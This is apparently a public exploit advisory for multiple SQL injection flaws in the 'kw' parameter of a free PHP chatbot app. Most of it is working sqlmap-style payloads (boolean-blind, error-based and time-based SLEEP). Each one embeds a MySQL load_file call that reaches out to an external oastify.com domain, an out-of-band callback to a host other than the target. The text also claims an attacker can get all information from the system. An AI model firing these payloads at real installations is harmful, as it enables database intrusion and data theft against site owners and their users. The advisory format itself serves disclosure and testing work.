## Titles: Chat Bot - PHP (by: oretnom23 ) v1.0 Multiple SQLi ## Author: nu11secur1ty ## Date: 05/22/2024 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The `kw` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+' was submitted in the kw parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability! STATUS: HIGH- Vulnerability [+]Exploits: - SQLi Multiple: ```mysql --- Parameter: kw (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: kw=Write your query here'+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') OR NOT 5452=5452-- yJrL Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: kw=Write your query here'+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT 6898 FROM(SELECT COUNT(*),CONCAT(0x717a6a7171,(SELECT (ELT(6898=6898,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ugYc Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: kw=Write your query here'+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT 3334 FROM (SELECT(SLEEP(7)))MjoP)-- WPgB --- ``` ## Reproduce: [href](https://www.patreon.com/posts/chat-bot-php-by-104709713) ## Proof and Exploit: [href]( https://www.nu11secur1ty.com/2024/05/mvogms-by-oretnom23-v10-multiple-sqli_22.html ) ## Time spent: 01:19:00